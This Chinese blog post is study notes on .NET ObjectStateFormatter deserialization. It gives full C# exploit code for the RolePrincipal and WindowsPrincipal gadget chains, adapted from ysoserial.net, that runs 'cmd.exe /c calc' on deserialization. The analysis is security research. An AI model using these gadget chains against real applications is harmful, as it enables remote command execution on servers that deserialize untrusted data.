ObjectStateFormatter反序列化链

前言:记录ObjectStateFormatter反序列化链的笔记

参考文章:https://xz.aliyun.com/t/9598
参考文章:https://www.anquanke.com/post/id/176664

ObjectStateFormatter

命名空间位于:System.Web.UI

ObjectStateFormatter同样用于序列化和反序列化表示对象状态的对象图。实现IFormatter、IStateFormatter。

PageStatePersister类和从其派生的类使用ObjectStateFormatter来序列化视图状态和控件状态。

从之前的学习上LosFormatter中可以知道,LosFormatter的底层反序列化其实也调用了ObjectStateFormatter,可见ObjectStateFormatter是LosFormatter的底层实现,而在ysoserial.net工具中并没有这个formatter,原因是因为在ysoserial.net工具中有这样一句话:

We don't actually need to use ObjectStateFormatter in ysoserial.net because it is the same as LosFormatter without MAC/keys

即ObjectStateFormatter和没有设置mac/keys的LosFormatter是一样的。所以在遇到ObjectStateFormatter反序列化时直接用ysoserial.net的LosFormatter生成payload即可,除非需要mac/key。

为什么ObjectStateFormatter和没有设置mac/keys的LosFormatter是一样的问题

先放着

序列化和反序列化

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
namespace SerializationCollection
{
[Serializable]
class Person
{
private int age;
private string name;
public int Age { get => age; set => age = value; }
public string Name { get => name; set => name = value; }
public void SayHello()
{
Console.WriteLine("hello from SayHello");
}
}
class Program
{
static void Main(string[] args)
{
// 序列化的用法
Person person = new Person();
person.Age = 18;
person.Name = "chiling";
FileStream file_stream = new FileStream(@"1.xml", FileMode.Create);
ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter();
objectStateFormatter.Serialize(file_stream, person);
file_stream.Close();
// 反序列化
FileStream file_stream = new FileStream(@"1.xml", FileMode.Open);
ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter();
Person person = (Person)objectStateFormatter.Deserialize(file_stream);
Console.WriteLine(person.ToString());
file_stream.Close();
}
}
}

RolePrincipal反序列化链

这边可以直接来看要ysoserial.net中的RolePrincipalGenerator模块

可以发现其中的数据是TextFormattingRunPropertiesGenerator生成的数据经过base64编码之后的,最后存储到System.Security.ClaimsPrincipal.Identities

这边可以继续来观察RolePrincipal的反序列化过程

这边RolePrincipal反序列化还会调用父类的反序列化过程,这边继续跟进去看,可以看到这边就触发了获取System.Security.ClaimsPrincipal.Identities类型的值

跟到this.DeserializeIdentities(info.GetString("System.Security.ClaimsPrincipal.Identities"));中就会发现最终会通过BinaryFormatter对System.Security.ClaimsPrincipal.Identities属性值进行反序列化

而这里是通过BinaryFormatter来进行反序列化的,那么将System.Security.ClaimsPrincipal.Identities的字段值替换为TextFormattingRunProperties的攻击链即可进行利用了

using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
namespace SerializationCollection
{
class Program
{
static void Main(string[] args)
{
TextFormattingRunPropertiesMarshal calc = new TextFormattingRunPropertiesMarshal("calc");
string b64payload;
using (MemoryStream m = new MemoryStream())
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(m, calc);
b64payload = Convert.ToBase64String(m.ToArray());
}
RolePrincipalMarshal rolePrincipalMarshal = new RolePrincipalMarshal(b64payload);
ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter();
string p = objectStateFormatter.Serialize(rolePrincipalMarshal);
objectStateFormatter.Deserialize(p);
}
}
[Serializable]
public class RolePrincipalMarshal : ISerializable
{
public RolePrincipalMarshal(string b64payload)
{
B64Payload = b64payload;
}
private string B64Payload { get; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Web.Security.RolePrincipal));
info.AddValue("System.Security.ClaimsPrincipal.Identities", B64Payload);
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
_xaml = XamlWriter.Save(odp);
}
}
}

成功进行命令执行,结果如下所示

WindowsPrincipal反序列化链

这边可以来看要ysoserial.net中的WindowsPrincipalGenerator模块,首先看Marshal类WindowsPrincipalMarshal,这边构造的序列化数据过程如下,可以看到只动用了m_identity字段

再来看GenericGenerator类WindowsPrincipalGenerator是如何构造这段数据的

这里可以看到生成一个WindowsIdentity对象,然后对WindowsIdentity对象中的Actor填充为ClaimsIdentity对象,最后对ClaimsIdentity对象中的BootstrapContext字段填充为TextFormattingRunProperties利用链,最后将WindowsIdentity作为m_identity字段值

而这边的填充ClaimsIdentity对象BootstrapContext字段很容易联想到分析过的ClaimsIdentityGenerator模块,自己在 https://www.cnblogs.com/zpchcbd/p/17267385.html 中进行记录过,大家感兴趣可以参考下

最终的利用代码如下所示

using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization;
using System.Text;
using System.Threading.Tasks;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
using System.Security.Claims;
using System.Security.Principal;
namespace SerializationCollection
{
class Program
{
static void Main(string[] args)
{
WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
currentWI.BootstrapContext = new TextFormattingRunPropertiesMarshal("calc");
WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
obj.wi = currentWI;
string v = new ObjectStateFormatter().Serialize(obj);
new ObjectStateFormatter().Deserialize(v);
}
}
[Serializable]
public class WindowsPrincipalMarshal : ISerializable
{
public WindowsPrincipalMarshal() { }
public WindowsIdentity wi { get; set; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(WindowsPrincipal));
info.AddValue("m_identity", wi);
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
_xaml = XamlWriter.Save(odp);
}
}
}

可以看到命令执行成功,结果如下所示

posted @   zpchcbd  阅读(149)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示